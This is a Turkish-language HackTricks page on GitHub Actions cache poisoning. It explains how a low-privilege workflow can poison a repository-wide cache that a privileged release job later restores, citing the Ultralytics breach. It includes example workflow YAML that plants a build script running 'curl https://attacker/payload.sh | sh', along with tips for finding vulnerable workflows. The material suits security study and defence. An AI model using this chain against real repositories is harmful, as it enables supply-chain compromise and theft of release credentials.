GH Actions - Cache Poisoning
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Genel Bakış
GitHub Actions önbelleği depo düzeyindedir. Önbellek key’ini (veya restore-keys) bilen herhangi bir iş akışı, iş yalnızca permissions: contents: read olsa bile o girdiyi doldurabilir. GitHub önbellekleri iş akışına, event türüne veya güven düzeyine göre ayırmaz; bu nedenle düşük ayrıcalıklı bir işi ele geçiren bir saldırgan, daha sonra ayrıcalıklı bir release işinin geri yükleyeceği bir önbelleği zehirleyebilir. Ultralytics ihlali böylece pull_request_target iş akışından PyPI yayın hattına geçti.
Saldırı temel öğeleri
actions/cachehem restore hem save operasyonlarını açığa çıkarır (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). Save çağrısı, fork’lardan tetiklenen gerçekten güvenilmeyenpull_requestiş akışları hariç, herhangi bir iş için izinlidir.- Önbellek girdileri yalnızca
keyile tanımlanır. Genişrestore-keys, payloads enjekte etmeyi kolaylaştırır çünkü saldırganın yalnızca bir önekle çakışması yeterlidir. - Önbelleğe alınmış dosya sistemi birebir geri yüklenir. Önbellek daha sonra çalıştırılan scripts veya binaries içeriyorsa, saldırgan o yürütme yolunu kontrol eder.
Örnek istismar zinciri
Author iş akışı (pull_request_target) önbelleği zehirledi:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Yetkili workflow, zehirlenmiş cache’i geri yükledi ve çalıştırdı:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
İkinci job artık saldırgan tarafından kontrol edilen kodu, release credentials (PyPI tokens, PATs, cloud deploy keys, etc.) taşırken çalıştırıyor.
Pratik istismar ipuçları
- Hâlâ cache kaydeden
pull_request_target,issue_commentveya bot komutlarıyla tetiklenen workflow’ları hedefleyin; GitHub, runner repoya sadece okuma erişimi olsa bile bunların repository-genel anahtarları üzerine yazmasına izin verir. - Güven sınırları arasında yeniden kullanılan deterministik cache anahtarlarını arayın (örneğin,
pip-${{ hashFiles('poetry.lock') }}) veya gevşekrestore-keys, sonra ayrıcalıklı workflow çalışmadan önce kötü amaçlı tarball’ınızı kaydedin. - Logları
Cache savedgirdileri için izleyin veya kendi cache-kaydetme adımınızı ekleyin; böylece bir sonraki release job payload’u geri yükler ve trojanlanmış script’leri veya ikili dosyaları çalıştırır.
Kaynaklar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

